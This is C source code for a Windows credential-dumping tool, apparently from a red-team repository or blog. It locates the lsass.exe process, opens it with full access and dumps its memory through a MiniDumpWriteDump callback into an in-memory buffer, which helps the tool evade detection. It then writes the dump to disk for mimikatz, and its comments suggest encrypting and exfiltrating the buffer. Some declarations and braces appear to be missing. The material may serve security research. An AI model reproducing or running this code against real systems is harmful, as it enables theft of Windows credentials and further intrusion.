#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")
// Buffer for saving the minidump
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
LPVOID destination = 0, source = 0;
switch (callbackInput->CallbackType)
callbackOutput->Status = S_FALSE;
// Gets called for each lsass process memory read operation
callbackOutput->Status = S_OK;
// A chunk of minidump data that's been jus read from lsass.
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
RtlCopyMemory(destination, source, bufferSize);
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
callbackOutput->Status = S_OK;
HANDLE lsassHandle = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
LPCWSTR processName = L"";
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
printf("[+] lsass PID=0x%x\n",lsassPID);
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate
printf("\n[+] lsass dumped to memory 0x%p\n", dumpBuffer);
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it
if (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL))
printf("\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n", dumpBuffer, bytesWritten);